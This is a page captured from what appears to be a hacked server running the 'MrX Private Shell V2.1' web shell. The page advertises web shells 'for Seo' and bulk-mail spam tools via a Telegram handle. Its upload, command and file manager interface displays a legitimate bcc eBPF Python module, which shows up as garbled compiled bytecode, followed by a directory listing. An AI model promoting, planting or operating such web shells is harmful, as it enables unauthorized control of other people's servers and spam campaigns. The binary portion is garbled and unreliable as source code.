__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�i4gk���SrSrSrg)c�:�U(dgSnURSU5$)NzV
        static inline int _cgroup_filter() {
            return 0;
        }
        z�
    BPF_TABLE_PINNED("hash", u64, u64, cgroupset, 1024, "CGROUP_PATH");

    static inline int _cgroup_filter() {
        u64 cgroupid = bpf_get_current_cgroup_id();
        return cgroupset.lookup(&cgroupid) == NULL;
    }
    �CGROUP_PATH��replace)�	cgroupmap�texts  �0/usr/lib/python3/dist-packages/bcc/containers.py�_cgroup_filter_func_writerr	s$�����D��<�<�
�y�1�1�c�:�U(dgSnURSU5$)NzU
        static inline int _mntns_filter() {
            return 0;
        }
        a�
    #include <linux/nsproxy.h>
    #include <linux/mount.h>
    #include <linux/ns_common.h>

    /* see mountsnoop.py:
    * XXX: struct mnt_namespace is defined in fs/mount.h, which is private
    * to the VFS and not installed in any kernel-devel packages. So, let's
    * duplicate the important part of the definition. There are actually
    * more members in the real struct, but we don't need them, and they're
    * more likely to change.
    */
    struct mnt_namespace {
    // This field was removed in https://github.com/torvalds/linux/commit/1a7b8969e664d6af328f00fe6eb7aabd61a71d13
    #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 11, 0)
        atomic_t count;
    #endif
        struct ns_common ns;
    };
    /*
     * To add mountsnoop support for --selector option, we need to call
     * filter_by_containers().
     * This function adds code which defines struct mnt_namespace.
     * The problem is that this struct is also defined in mountsnoop BPF code.
     * To avoid redefining it in mountnsoop code, we define
     * MNT_NAMESPACE_DEFINED here.
     * Then, in mountsnoop code, the struct mnt_namespace definition is guarded
     * by:
     * #ifndef MNT_NAMESPACE_DEFINED
     * // ...
     * #endif
     */
    #define MNT_NAMESPACE_DEFINED

    BPF_TABLE_PINNED("hash", u64, u32, mount_ns_set, 1024, "MOUNT_NS_PATH");

    static inline int _mntns_filter() {
        struct task_struct *current_task;
        struct nsproxy *nsproxy;
        struct mnt_namespace *mnt_ns;
        unsigned int inum;
        u64 ns_id;

        current_task = (struct task_struct *)bpf_get_current_task();

        if (bpf_probe_read_kernel(&nsproxy, sizeof(nsproxy), &current_task->nsproxy))
            return 0;

        if (bpf_probe_read_kernel(&mnt_ns, sizeof(mnt_ns), &nsproxy->mnt_ns))
            return 0;

        if (bpf_probe_read_kernel(&inum, sizeof(inum), &mnt_ns->ns.inum))
            return 0;

        ns_id =  (u64) inum;

        return mount_ns_set.lookup(&ns_id) == NULL;
    }
    �
MOUNT_NS_PATHr)�mntnsmaprs  r�_mntns_filter_func_writerr"s%����
:�D�x�<�<���2�2r
c�h�Sn[UR5n[UR5nX#-U-$)Nzv
    static inline int container_should_be_filtered() {
        return _cgroup_filter() || _mntns_filter();
    }
    )r	rrr
)�args�filter_by_containers_text�cgroupmap_text�
mntnsmap_texts    r�filter_by_containersrgs7��!��0����?�N�-�d�m�m�<�M��)�,E�E�Er
N)r	rr�r
r�<module>rs��2�&C3�J
Fr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 85.33 KB 0644
containers.cpython-313.pyc File 3.44 KB 0644
disassembler.cpython-313.pyc File 19.09 KB 0644
libbcc.cpython-313.pyc File 26.88 KB 0644
perf.cpython-313.pyc File 9.82 KB 0644
syscall.cpython-313.pyc File 15.14 KB 0644
table.cpython-313.pyc File 67.64 KB 0644
tcp.cpython-313.pyc File 1.64 KB 0644
usdt.cpython-313.pyc File 13.91 KB 0644
utils.cpython-313.pyc File 6.46 KB 0644
version.cpython-313.pyc File 169 B 0644
Filemanager